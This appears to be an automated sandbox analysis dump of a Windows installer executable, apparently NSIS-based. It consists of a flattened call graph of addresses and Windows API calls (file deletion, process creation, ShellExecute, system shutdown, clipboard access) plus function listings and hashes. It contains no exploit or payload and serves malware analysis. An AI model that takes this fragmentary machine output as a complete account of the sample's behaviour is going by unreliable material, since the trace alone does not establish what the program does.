3482->3483 3482->3484 3483->3484 3484->3482 3507 403dc4 SendMessageW 3484->3507 3508 406035 lstrcpynW 3484->3508 3487 4057f0 lstrlenW 3488 406831 18 API calls 3487->3488 3489 405806 SetWindowTextW 3488->3489 3509 40139d 3489->3509 3491->3452 3492 405864 CreateDialogParamW 3491->3492 3492->3452 3493 405897 3492->3493 3494 403d6b 19 API calls 3493->3494 3495 4058a2 GetDlgItem GetWindowRect ScreenToClient SetWindowPos 3494->3495 3496 40139d 80 API calls 3495->3496 3497 4058e8 3496->3497 3497->3445 3498 4058f0 ShowWindow 3497->3498 3499 403ddb SendMessageW 3498->3499 3499->3452 3501 403df3 3500->3501 3502 403de4 SendMessageW 3500->3502 3501->3469 3502->3501 3504 406831 18 API calls 3503->3504 3505 403d76 SetDlgItemTextW 3504->3505 3505->3477 3506->3481 3507->3484 3508->3487 3512 4013a4 3509->3512 3510 401410 3510->3469 3512->3510 3513 4013dd MulDiv SendMessageW 3512->3513 3534 4015a0 3512->3534 3513->3512 3515 40139d 80 API calls 3514->3515 3516 401432 3515->3516 3516->3475 3518 403d51 SendMessageW 3517->3518 3519 403d4b 3517->3519 3518->3468 3519->3518 3521 403e0b GetWindowLongW 3520->3521 3531 403e94 3520->3531 3522 403e1c 3521->3522 3521->3531 3523 403e2b GetSysColor 3522->3523 3524 403e2e 3522->3524 3523->3524 3525 403e34 SetTextColor 3524->3525 3526 403e3e SetBkMode 3524->3526 3525->3526 3527 403e56 GetSysColor 3526->3527 3528 403e5c 3526->3528 3527->3528 3529 403e63 SetBkColor 3528->3529 3530 403e6d 3528->3530 3529->3530 3530->3531 3532 403e80 DeleteObject 3530->3532 3533 403e87 CreateBrushIndirect 3530->3533 3531->3445 3532->3533 3533->3531 3535 4015fa 3534->3535 3614 40160c 3534->3614 3536 401601 3535->3536 3537 401742 3535->3537 3538 401962 3535->3538 3539 4019ca 3535->3539 3540 40176e 3535->3540 3541 401650 3535->3541 3542 4017b1 3535->3542 3543 401672 3535->3543 3544 401693 3535->3544 3545 401616 3535->3545 3546 4016d6 3535->3546 3547 401736 3535->3547 3548 401897 3535->3548 3549 4018db 3535->3549 3550 40163c 3535->3550 3551 4016bd 3535->3551 3535->3614 3560 4062cf 11 API calls 3536->3560 3552 401751 ShowWindow 3537->3552 3553 401758 3537->3553 3557 40145c 18 API calls 3538->3557 3564 40145c 18 API calls 3539->3564 3554 40145c 18 API calls 3540->3554 3578 4062cf 11 API calls 3541->3578 3558 40145c 18 API calls 3542->3558 3555 40145c 18 API calls 3543->3555 3559 401446 18 API calls 3544->3559 3563 40145c 18 API calls 3545->3563 3577 401446 18 API calls 3546->3577 3546->3614 3547->3614 3668 405f7d wsprintfW 3547->3668 3556 40145c 18 API calls 3548->3556 3561 40145c 18 API calls 3549->3561 3565 401647 PostQuitMessage 3550->3565 3550->3614 3562 4062cf 11 API calls 3551->3562 3552->3553 3566 401765 ShowWindow 3553->3566 3553->3614 3567 401775 3554->3567 3568 401678 3555->3568 3569 40189d 3556->3569 3570 401968 GetFullPathNameW 3557->3570 3571 4017b8 3558->3571 3572 40169a 3559->3572 3560->3614 3573 4018e2 3561->3573 3574 4016c7 SetForegroundWindow 3562->3574 3575 40161c 3563->3575 3576 4019d1 SearchPathW 3564->3576 3565->3614 3566->3614 3580 4062cf 11 API calls 3567->3580 3581 4062cf 11 API calls 3568->3581 3659 406301 FindFirstFileW 3569->3659 3583 4019a1 3570->3583 3584 40197f 3570->3584 3585 4062cf 11 API calls 3571->3585 3586 4062cf 11 API calls 3572->3586 3587 40145c 18 API calls 3573->3587 3574->3614 3588 4062cf 11 API calls 3575->3588 3576->3547 3576->3614 3577->3614 3589 401664 3578->3589 3590 401785 SetFileAttributesW 3580->3590 3591 401683 3581->3591 3603 4019b8 GetShortPathNameW 3583->3603 3583->3614 3584->3583 3609 406301 2 API calls 3584->3609 3593 4017c9 3585->3593 3594 4016a7 Sleep 3586->3594 3595 4018eb 3587->3595 3596 401627 3588->3596 3597 40139d 65 API calls 3589->3597 3598 40179a 3590->3598 3590->3614 3607 404f9e 25 API calls 3591->3607 3641 405d85 CharNextW CharNextW 3593->3641 3594->3614 3604 40145c 18 API calls 3595->3604 3605 404f9e 25 API calls 3596->3605 3597->3614 3606 4062cf 11 API calls 3598->3606 3599 4018c2 3610 4062cf 11 API calls 3599->3610 3600 4018a9 3608 4062cf 11 API calls 3600->3608 3603->3614 3612 4018f5 3604->3612 3605->3614 3606->3614 3607->3614 3608->3614 3613 401991 3609->3613 3610->3614 3611 4017d4 3615 401864 3611->3615 3618 405d32 CharNextW 3611->3618 3636 4062cf 11 API calls 3611->3636 3616 4062cf 11 API calls 3612->3616 3613->3583 3667 406035 lstrcpynW 3613->3667 3614->3512 3615->3591 3617 40186e 3615->3617 3619 401902 MoveFileW 3616->3619 3647 404f9e 3617->3647 3622 4017e6 CreateDirectoryW 3618->3622 3623 401912 3619->3623 3624 40191e 3619->3624 3622->3611 3626 4017fe GetLastError 3622->3626 3623->3591 3630 406301 2 API calls 3624->3630 3640 401942 3624->3640 3628 401827 GetFileAttributesW 3626->3628 3629 40180b GetLastError 3626->3629 3628->3611 3633 4062cf 11 API calls 3629->3633 3634 401929 3630->3634 3631 401882 SetCurrentDirectoryW 3631->3614 3632 4062cf 11 API calls 3635 40195c 3632->3635 3633->3611 3634->3640 3662 406c94 3634->3662 3635->3614 3636->3611 3639 404f9e 25 API calls 3639->3640 3640->3632 3642 405da2 3641->3642 3645 405db4 3641->3645 3644 405daf CharNextW 3642->3644 3642->3645 3643 405dd8 3643->3611 3644->3643 3645->3643 3646 405d32 CharNextW 3645->3646 3646->3645 3648 404fb7 3647->3648 3649 401875 3647->3649 3650 404fd5 lstrlenW 3648->3650 3651 406831 18 API calls 3648->3651 3658 406035 lstrcpynW 3649->3658 3652 404fe3 lstrlenW 3650->3652 3653 404ffe 3650->3653 3651->3650 3652->3649 3654 404ff5 lstrcatW 3652->3654 3655 405011 3653->3655 3656 405004 SetWindowTextW 3653->3656 3654->3653 3655->3649 3657 405017 SendMessageW SendMessageW SendMessageW 3655->3657 3656->3655 3657->3649 3658->3631 3660 4018a5 3659->3660 3661 406317 FindClose 3659->3661 3660->3599 3660->3600 3661->3660 3669 406328 GetModuleHandleA 3662->3669 3666 401936 3666->3639 3667->3583 3668->3614 3670 406340 LoadLibraryA 3669->3670 3671 40634b GetProcAddress 3669->3671 3670->3671 3672 406359 3670->3672 3671->3672 3672->3666 3673 406ac5 lstrcpyW 3672->3673 3674 406b13 GetShortPathNameW 3673->3674 3675 406aea 3673->3675 3676 406b2c 3674->3676 3677 406c8e 3674->3677 3699 405e7c GetFileAttributesW CreateFileW 3675->3699 3676->3677 3680 406b34 WideCharToMultiByte 3676->3680 3677->3666 3679 406af3 CloseHandle GetShortPathNameW 3679->3677 3681 406b0b 3679->3681 3680->3677 3682 406b51 WideCharToMultiByte 3680->3682 3681->3674 3681->3677 3682->3677 3683 406b69 wsprintfA 3682->3683 3684 406831 18 API calls 3683->3684 3685 406b95 3684->3685 3700 405e7c GetFileAttributesW CreateFileW 3685->3700 3687 406ba2 3687->3677 3688 406baf GetFileSize GlobalAlloc 3687->3688 3689 406bd0 ReadFile 3688->3689 3690 406c84 CloseHandle 3688->3690 3689->3690 3691 406bea 3689->3691 3690->3677 3691->3690 3701 405de2 lstrlenA 3691->3701 3694 406c03 lstrcpyA 3697 406c25 3694->3697 3695 406c17 3696 405de2 4 API calls 3695->3696 3696->3697 3698 406c5c SetFilePointer WriteFile GlobalFree 3697->3698 3698->3690 3699->3679 3700->3687 3702 405e23 lstrlenA 3701->3702 3703 405e2b 3702->3703 3704 405dfc lstrcmpiA 3702->3704 3703->3694 3703->3695 3704->3703 3705 405e1a CharNextA 3704->3705 3705->3702 4865 402da5 4866 4030e3 4865->4866 4867 402dac 4865->4867 4868 401446 18 API calls 4867->4868 4869 402db8 4868->4869 4870 402dbf SetFilePointer 4869->4870 4870->4866 4871 402dcf 4870->4871 4871->4866 4873 405f7d wsprintfW 4871->4873 4873->4866 4874 4049a8 GetDlgItem GetDlgItem 4875 4049fe 7 API calls 4874->4875 4880 404c16 4874->4880 4876 404aa2 DeleteObject 4875->4876 4877 404a96 SendMessageW 4875->4877 4878 404aad 4876->4878 4877->4876 4881 404ae4 4878->4881 4884 406831 18 API calls 4878->4884 4879 404cfb 4882 404da0 4879->4882 4883 404c09 4879->4883 4888 404d4a SendMessageW 4879->4888 4880->4879 4892 40487a 5 API calls 4880->4892 4905 404c86 4880->4905 4887 403d6b 19 API calls 4881->4887 4885 404db5 4882->4885 4886 404da9 SendMessageW 4882->4886 4889 403df6 8 API calls 4883->4889 4890 404ac6 SendMessageW SendMessageW 4884->4890 4897 404dc7 ImageList_Destroy 4885->4897 4898 404dce 4885->4898 4903 404dde 4885->4903 4886->4885 4893 404af8 4887->4893 4888->4883 4895 404d5f SendMessageW 4888->4895 4896 404f97 4889->4896 4890->4878 4891 404ced SendMessageW 4891->4879 4892->4905 4899 403d6b 19 API calls 4893->4899 4894 404f48 4894->4883 4904 404f5d ShowWindow GetDlgItem ShowWindow 4894->4904 4900 404d72 4895->4900 4897->4898 4901 404dd7 GlobalFree 4898->4901 4898->4903 4907 404b09 4899->4907 4909 404d83 SendMessageW 4900->4909 4901->4903 4902 404bd6 GetWindowLongW SetWindowLongW 4906 404bf0 4902->4906 4903->4894 4908 40141d 80 API calls 4903->4908 4918 404e10 4903->4918 4904->4883 4905->4879 4905->4891 4910 404bf6 ShowWindow 4906->4910 4911 404c0e 4906->4911 4907->4902 4913 404b65 SendMessageW 4907->4913 4914 404bd0 4907->4914 4916 404b93 SendMessageW 4907->4916 4917 404ba7 SendMessageW 4907->4917 4908->4918 4909->4882 4925 403dc4 SendMessageW 4910->4925 4926 403dc4 SendMessageW 4911->4926 4913->4907 4914->4902 4914->4906 4916->4907 4917->4907 4919 404e54 4918->4919 4922 404e3e SendMessageW 4918->4922 4920 404f1f InvalidateRect 4919->4920 4924 404ecd SendMessageW SendMessageW 4919->4924 4920->4894 4921 404f35 4920->4921 4923 4043d9 21 API calls 4921->4923 4922->4919 4923->4894 4924->4919 4925->4883 4926->4880 4927 4030a9 SendMessageW 4928 4030c2 InvalidateRect 4927->4928 4929 4030e3 4927->4929 4928->4929 3880 4038af #17 SetErrorMode OleInitialize 3881 406328 3 API calls 3880->3881 3882 4038f2 SHGetFileInfoW 3881->3882 3954 406035 lstrcpynW 3882->3954 3884 40391d GetCommandLineW 3955 406035 lstrcpynW 3884->3955 3886 40392f GetModuleHandleW 3887 403947 3886->3887 3888 405d32 CharNextW 3887->3888 3889 403956 CharNextW 3888->3889 3900 403968 3889->3900 3890 403a02 3891 403a21 GetTempPathW 3890->3891 3956 4037f8 3891->3956 3893 403a37 3895 403a3b GetWindowsDirectoryW lstrcatW 3893->3895 3896 403a5f DeleteFileW 3893->3896 3894 405d32 CharNextW 3894->3900 3898 4037f8 11 API calls 3895->3898 3964 4035b3 GetTickCount GetModuleFileNameW 3896->3964 3901 403a57 3898->3901 3899 403a73 3902 403af8 3899->3902 3904 405d32 CharNextW 3899->3904 3940 403add 3899->3940 3900->3890 3900->3894 3907 403a04 3900->3907 3901->3896 3901->3902 4049 403885 3902->4049 3908 403a8a 3904->3908 4056 406035 lstrcpynW 3907->4056 3919 403b23 lstrcatW lstrcmpiW 3908->3919 3920 403ab5 3908->3920 3909 403aed 3912 406113 9 API calls 3909->3912 3910 403bfa 3913 403c7d 3910->3913 3915 406328 3 API calls 3910->3915 3911 403b0d 3914 405ccc MessageBoxIndirectW 3911->3914 3912->3902 3916 403b1b ExitProcess 3914->3916 3918 403c09 3915->3918 3922 406328 3 API calls 3918->3922 3919->3902 3921 403b3f CreateDirectoryW SetCurrentDirectoryW 3919->3921 4057 4067aa 3920->4057 3924 403b62 3921->3924 3925 403b57 3921->3925 3926 403c12 3922->3926 4074 406035 lstrcpynW 3924->4074 4073 406035 lstrcpynW 3925->4073 3930 406328 3 API calls 3926->3930 3933 403c1b 3930->3933 3932 403b70 4075 406035 lstrcpynW 3932->4075 3934 403c69 ExitWindowsEx 3933->3934 3939 403c29 GetCurrentProcess 3933->3939 3934->3913 3938 403c76 3934->3938 3935 403ad2 4072 406035 lstrcpynW 3935->4072 3941 40141d 80 API calls 3938->3941 3943 403c39 3939->3943 3992 405958 3940->3992 3941->3913 3942 406831 18 API calls 3944 403b98 DeleteFileW 3942->3944 3943->3934 3945 403ba5 CopyFileW 3944->3945 3951 403b7f 3944->3951 3945->3951 3946 403bee 3947 406c94 42 API calls 3946->3947 3949 403bf5 3947->3949 3948 406c94 42 API calls 3948->3951 3949->3902 3950 406831 18 API calls 3950->3951 3951->3942 3951->3946 3951->3948 3951->3950 3953 403bd9 CloseHandle 3951->3953 4076 405c6b CreateProcessW 3951->4076 3953->3951 3954->3884 3955->3886 3957 406064 5 API calls 3956->3957 3958 403804 3957->3958 3959 40380e 3958->3959 3960 40674e 3 API calls 3958->3960 3959->3893 3961 403816 CreateDirectoryW 3960->3961 3962 405eab 2 API calls 3961->3962 3963 40382a 3962->3963 3963->3893 4079 405e7c GetFileAttributesW CreateFileW 3964->4079 3966 4035f3 3986 403603 3966->3986 4080 406035 lstrcpynW 3966->4080 3968 403619 4081 40677d lstrlenW 3968->4081 3972 40362a GetFileSize 3973 403726 3972->3973 3987 403641 3972->3987 4086 4032d2 3973->4086 3975 40372f 3977 40376b GlobalAlloc 3975->3977 3975->3986 4098 403368 SetFilePointer 3975->4098 3976 403336 ReadFile 3976->3987 4097 403368 SetFilePointer 3977->4097 3980 4037e9 3983 4032d2 6 API calls 3980->3983 3981 403786 3984 40337f 33 API calls 3981->3984 3982 40374c 3985 403336 ReadFile 3982->3985 3983->3986 3990 403792 3984->3990 3989 403757 3985->3989 3986->3899 3987->3973 3987->3976 3987->3980 3987->3986 3988 4032d2 6 API calls 3987->3988 3988->3987 3989->3977 3989->3986 3990->3986 3990->3990 3991 4037c0 SetFilePointer 3990->3991 3991->3986 3993 406328 3 API calls 3992->3993 3994 40596c 3993->3994 3995 405972 3994->3995 3996 405984 3994->3996 4112 405f7d wsprintfW 3995->4112 3997 405eff 3 API calls 3996->3997 3998 4059b5 3997->3998 4000 4059d4 lstrcatW 3998->4000 4002 405eff 3 API calls 3998->4002 4001 405982 4000->4001 4103 403ec1 4001->4103 4002->4000 4005 4067aa 18 API calls 4006 405a06 4005->4006 4007 405a9c 4006->4007 4009 405eff 3 API calls 4006->4009 4008 4067aa 18 API calls 4007->4008 4010 405aa2 4008->4010 4011 405a38 4009->4011 4012 405ab2 4010->4012 4013 406831 18 API calls 4010->4013 4011->4007 4015 405a5b lstrlenW 4011->4015 4018 405d32 CharNextW 4011->4018 4014 405ad2 LoadImageW 4012->4014 4114 403ea0 4012->4114 4013->4012 4016 405b92 4014->4016 4017 405afd RegisterClassW 4014->4017 4019 405a69 lstrcmpiW 4015->4019 4020 405a8f 4015->4020 4024 40141d 80 API calls 4016->4024 4022 405b9c 4017->4022 4023 405b45 SystemParametersInfoW CreateWindowExW 4017->4023 4025 405a56 4018->4025 4019->4020 4026 405a79 GetFileAttributesW 4019->4026 4028 40674e 3 API calls 4020->4028 4022->3909 4023->4016 4029 405b98 4024->4029 4025->4015 4030 405a85 4026->4030 4027 405ac8 4027->4014 4031 405a95 4028->4031 4029->4022 4032 403ec1 19 API calls 4029->4032 4030->4020 4033 40677d 2 API calls 4030->4033 4113 406035 lstrcpynW 4031->4113 4035 405ba9 4032->4035 4033->4020 4036 405bb5 ShowWindow LoadLibraryW 4035->4036 4037 405c38 4035->4037 4038 405bd4 LoadLibraryW 4036->4038 4039 405bdb GetClassInfoW 4036->4039 4040 405073 83 API calls 4037->4040 4038->4039 4041 405c05 DialogBoxParamW 4039->4041 4042 405bef GetClassInfoW RegisterClassW 4039->4042 4043 405c3e 4040->4043 4046 40141d 80 API calls 4041->4046 4042->4041 4044 405c42 4043->4044 4045 405c5a 4043->4045 4044->4022 4048 40141d 80 API calls 4044->4048 4047 40141d 80 API calls 4045->4047 4046->4022 4047->4022 4048->4022 4050 40389d 4049->4050 4051 40388f CloseHandle 4049->4051 4121 403caf 4050->4121 4051->4050 4056->3891 4174 406035 lstrcpynW 4057->4174 4059 4067bb 4060 405d85 4 API calls 4059->4060 4061 4067c1 4060->4061 4062 406064 5 API calls 4061->4062 4069 403ac3 4061->4069 4065 4067d1 4062->4065 4063 406809 lstrlenW 4064 406810 4063->4064 4063->4065 4067 40674e 3 API calls 4064->4067 4065->4063 4066 406301 2 API calls 4065->4066 4065->4069 4070 40677d 2 API calls 4065->4070 4066->4065 4068 406816 GetFileAttributesW 4067->4068 4068->4069 4069->3902 4071 406035 lstrcpynW 4069->4071 4070->4063 4071->3935 4072->3940 4073->3924 4074->3932 4075->3951 4077 405ca6 4076->4077 4078 405c9a CloseHandle 4076->4078 4077->3951 4078->4077 4079->3966 4080->3968 4082 40678c 4081->4082 4083 406792 CharPrevW 4082->4083 4084 40361f 4082->4084 4083->4082 4083->4084 4085 406035 lstrcpynW 4084->4085 4085->3972 4087 4032f3 4086->4087 4088 4032db 4086->4088 4091 403303 GetTickCount 4087->4091 4092 4032fb 4087->4092 4089 4032e4 DestroyWindow 4088->4089 4090 4032eb 4088->4090 4089->4090 4090->3975 4094 403311 CreateDialogParamW ShowWindow 4091->4094 4095 403334 4091->4095 4099 40635e 4092->4099 4094->4095 4095->3975 4097->3981 4098->3982 4100 40637b PeekMessageW 4099->4100 4101 406371 DispatchMessageW 4100->4101 4102 403301 4100->4102 4101->4100 4102->3975 4104 403ed5 4103->4104 4119 405f7d wsprintfW 4104->4119 4106 403f49 4107 406831 18 API calls 4106->4107 4108 403f55 SetWindowTextW 4107->4108 4109 403f70 4108->4109 4110 403f8b 4109->4110 4111 406831 18 API calls 4109->4111 4110->4005 4111->4109 4112->4001 4113->4007 4120 406035 lstrcpynW 4114->4120 4116 403eb4 4117 40674e 3 API calls 4116->4117 4118 403eba lstrcatW 4117->4118 4118->4027 4119->4106 4120->4116 4122 403cbd 4121->4122 4123 4038a2 4122->4123 4124 403cc2 FreeLibrary GlobalFree 4122->4124 4125 406cc7 4123->4125 4124->4123 4124->4124 4126 4067aa 18 API calls 4125->4126 4127 406cda 4126->4127 4128 406ce3 DeleteFileW 4127->4128 4129 406cfa 4127->4129 4168 4038ae CoUninitialize 4128->4168 4130 406e77 4129->4130 4172 406035 lstrcpynW 4129->4172 4136 406301 2 API calls 4130->4136 4156 406e84 4130->4156 4130->4168 4132 406d25 4133 406d39 4132->4133 4134 406d2f lstrcatW 4132->4134 4137 40677d 2 API calls 4133->4137 4135 406d3f 4134->4135 4139 406d4f lstrcatW 4135->4139 4141 406d57 lstrlenW FindFirstFileW 4135->4141 4138 406e90 4136->4138 4137->4135 4142 40674e 3 API calls 4138->4142 4138->4168 4139->4141 4140 4062cf 11 API calls 4140->4168 4145 406e67 4141->4145 4169 406d7e 4141->4169 4143 406e9a 4142->4143 4146 4062cf 11 API calls 4143->4146 4144 405d32 CharNextW 4144->4169 4145->4130 4147 406ea5 4146->4147 4148 405e5c 2 API calls 4147->4148 4149 406ead RemoveDirectoryW 4148->4149 4153 406ef0 4149->4153 4154 406eb9 4149->4154 4150 406e44 FindNextFileW 4152 406e5c FindClose 4150->4152 4150->4169 4152->4145 4155 404f9e 25 API calls 4153->4155 4154->4156 4157 406ebf 4154->4157 4155->4168 4156->4140 4159 4062cf 11 API calls 4157->4159 4158 4062cf 11 API calls 4158->4169 4160 406ec9 4159->4160 4163 404f9e 25 API calls 4160->4163 4161 406cc7 72 API calls 4161->4169 4162 405e5c 2 API calls 4164 406dfa DeleteFileW 4162->4164 4165 406ed3 4163->4165 4164->4169 4166 406c94 42 API calls 4165->4166 4166->4168 4167 404f9e 25 API calls 4167->4150 4168->3910 4168->3911 4169->4144 4169->4150 4169->4158 4169->4161 4169->4162 4169->4167 4170 404f9e 25 API calls 4169->4170 4171 406c94 42 API calls 4169->4171 4173 406035 lstrcpynW 4169->4173 4170->4169 4171->4169 4172->4132 4173->4169 4174->4059 4930 401cb2 4931 40145c 18 API calls 4930->4931 4932 401c54 4931->4932 4933 4062cf 11 API calls 4932->4933 4934 401c64 4932->4934 4935 401c59 4933->4935 4936 406cc7 81 API calls 4935->4936 4936->4934 3706 4021b5 3707 40145c 18 API calls 3706->3707 3708 4021bb 3707->3708 3709 40145c 18 API calls 3708->3709 3710 4021c4 3709->3710 3711 40145c 18 API calls 3710->3711 3712 4021cd 3711->3712 3713 40145c 18 API calls 3712->3713 3714 4021d6 3713->3714 3715 404f9e 25 API calls 3714->3715 3716 4021e2 ShellExecuteW 3715->3716 3717 40221b 3716->3717 3718 40220d 3716->3718 3719 4062cf 11 API calls 3717->3719 3720 4062cf 11 API calls 3718->3720 3721 402230 3719->3721 3720->3717 4937 402238 4938 40145c 18 API calls 4937->4938 4939 40223e 4938->4939 4940 4062cf 11 API calls 4939->4940 4941 40224b 4940->4941 4942 404f9e 25 API calls 4941->4942 4943 402255 4942->4943 4944 405c6b 2 API calls 4943->4944 4945 40225b 4944->4945 4946 4062cf 11 API calls 4945->4946 4954 4022ac CloseHandle 4945->4954 4951 40226d 4946->4951 4948 4030e3 4949 402283 WaitForSingleObject 4950 402291 GetExitCodeProcess 4949->4950 4949->4951 4953 4022a3 4950->4953 4950->4954 4951->4949 4952 40635e 2 API calls 4951->4952 4951->4954 4952->4949 4956 405f7d wsprintfW 4953->4956 4954->4948 4956->4954 4957 404039 4958 404096 4957->4958 4959 404046 lstrcpynA lstrlenA 4957->4959 4959->4958 4960 404077 4959->4960 4960->4958 4961 404083 GlobalFree 4960->4961 4961->4958 4962 401eb9 4963 401f24 4962->4963 4966 401ec6 4962->4966 4964 401f53 GlobalAlloc 4963->4964 4968 401f28 4963->4968 4970 406831 18 API calls 4964->4970 4965 401ed5 4969 4062cf 11 API calls 4965->4969 4966->4965 4972 401ef7 4966->4972 4967 401f36 4986 406035 lstrcpynW 4967->4986 4968->4967 4971 4062cf 11 API calls 4968->4971 4981 401ee2 4969->4981 4974 401f46 4970->4974 4971->4967 4984 406035 lstrcpynW 4972->4984 4976 402708 4974->4976 4977 402387 GlobalFree 4974->4977 4977->4976 4978 401f06 4985 406035 lstrcpynW 4978->4985 4979 406831 18 API calls 4979->4981 4981->4976 4981->4979 4982 401f15 4987 406035 lstrcpynW 4982->4987 4984->4978 4985->4982 4986->4974 4987->4976

                                                                    Executed Functions

                                                                    Function 004050F9 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 295windowclipboardmemoryCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
                                                                    control_flow_graph 0 4050f9-405114 1 4052c1-4052c8 0->1 2 40511a-405201 GetDlgItem * 3 call 403dc4 call 4044a2 call 406831 call 4062cf GetClientRect GetSystemMetrics SendMessageW * 2 0->2 3 4052f2-4052ff 1->3 4 4052ca-4052ec GetDlgItem CreateThread CloseHandle 1->4 35 405203-40521d SendMessageW * 2 2->35 36 40521f-405222 2->36 6 405320-405327 3->6 7 405301-40530a 3->7 4->3 11 405329-40532f 6->11 12 40537e-405382 6->12 9 405342-40534b call 403df6 7->9 10 40530c-40531b ShowWindow * 2 call 403dc4 7->10 22 405350-405354 9->22 10->6 16 405331-40533d call 403d44 11->16 17 405357-405367 ShowWindow 11->17 12->9 14 405384-405387 12->14 14->9 20 405389-40539c SendMessageW 14->20 16->9 23 405377-405379 call 403d44 17->23 24 405369-405372 call 404f9e 17->24 29 4053a2-4053c3 CreatePopupMenu call 406831 AppendMenuW 20->29 30 4052ba-4052bc 20->30 23->12 24->23 37 4053c5-4053d6 GetWindowRect 29->37 38 4053d8-4053de 29->38 30->22 35->36 39 405232-405249 call 403d6b 36->39 40 405224-405230 SendMessageW 36->40 41 4053df-4053f7 TrackPopupMenu 37->41 38->41 46 40524b-40525f ShowWindow 39->46 47 40527f-4052a0 GetDlgItem SendMessageW 39->47 40->39 41->30 43 4053fd-405414 41->43 45 405419-405434 SendMessageW 43->45 45->45 48 405436-405459 OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 45->48 49 405261-40526c ShowWindow 46->49 50 40526e 46->50 47->30 51 4052a2-4052b8 SendMessageW * 2 47->51 52 40545b-405484 SendMessageW 48->52 54 405274-40527a call 403dc4 49->54 50->54 51->30 52->52 53 405486-4054a0 GlobalUnlock SetClipboardData CloseClipboard 52->53 53->30 54->47
                                                                    APIs
                                                                    • GetDlgItem.USER32(?,00000403), ref: 0040515B
                                                                    • GetDlgItem.USER32(?,000003EE), ref: 0040516A
                                                                    • GetClientRect.USER32(?,?), ref: 004051C2
                                                                    • GetSystemMetrics.USER32(00000015), ref: 004051CA
                                                                    • SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051EB
                                                                    • SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051FC
                                                                    • SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040520F
                                                                    • SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040521D
                                                                    • SendMessageW.USER32(?,00001024,00000000,?), ref: 00405230
                                                                    • ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405252
                                                                    • ShowWindow.USER32(?,00000008), ref: 00405266
                                                                    • GetDlgItem.USER32(?,000003EC), ref: 00405287
                                                                    • SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405297
                                                                    • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052AC
                                                                    • SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004052B8
                                                                    • GetDlgItem.USER32(?,000003F8), ref: 00405179
                                                                      • Part of subcall function 00403DC4: SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2
                                                                      • Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,004241C1,771B23A0,00000000), ref: 00406902
                                                                      • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                                                      • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                                                    • GetDlgItem.USER32(?,000003EC), ref: 004052D7
                                                                    • CreateThread.KERNELBASE(00000000,00000000,Function_00005073,00000000), ref: 004052E5
                                                                    • CloseHandle.KERNELBASE(00000000), ref: 004052EC
                                                                    • ShowWindow.USER32(00000000), ref: 00405313
                                                                    • ShowWindow.USER32(?,00000008), ref: 00405318
                                                                    • ShowWindow.USER32(00000008), ref: 0040535F
                                                                    • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405391
                                                                    • CreatePopupMenu.USER32 ref: 004053A2
                                                                    • AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004053B7
                                                                    • GetWindowRect.USER32(?,?), ref: 004053CA
                                                                    • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053EC
                                                                    • SendMessageW.USER32(?,00001073,00000000,?), ref: 00405427
                                                                    • OpenClipboard.USER32(00000000), ref: 00405437
                                                                    • EmptyClipboard.USER32 ref: 0040543D
                                                                    • GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 00405449
                                                                    • GlobalLock.KERNEL32(00000000), ref: 00405453
                                                                    • SendMessageW.USER32(?,00001073,00000000,?), ref: 00405467
                                                                    • GlobalUnlock.KERNEL32(00000000), ref: 00405489
                                                                    • SetClipboardData.USER32(0000000D,00000000), ref: 00405494
                                                                    • CloseClipboard.USER32 ref: 0040549A
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
                                                                    • String ID: New install of "%s" to "%s"${
                                                                    • API String ID: 2110491804-1641061399
                                                                    • Opcode ID: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
                                                                    • Instruction ID: db3ff0878cedf1d1b3e6f9985675ba3e3c8e3ad145c0decdf5c07b0ce3ef5d1a
                                                                    • Opcode Fuzzy Hash: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
                                                                    • Instruction Fuzzy Hash: 46B15970900609BFEB11AFA1DD89EAE7B79FB04354F00803AFA05BA1A1C7755E81DF58
                                                                    Function 004038AF Relevance: 52.8, APIs: 22, Strings: 8, Instructions: 304filestringcomCOMMON
                                                                    Download Yara Rule

                                                                    Control-flow Graph

                                                                    • Executed
                                                                    • Not Executed
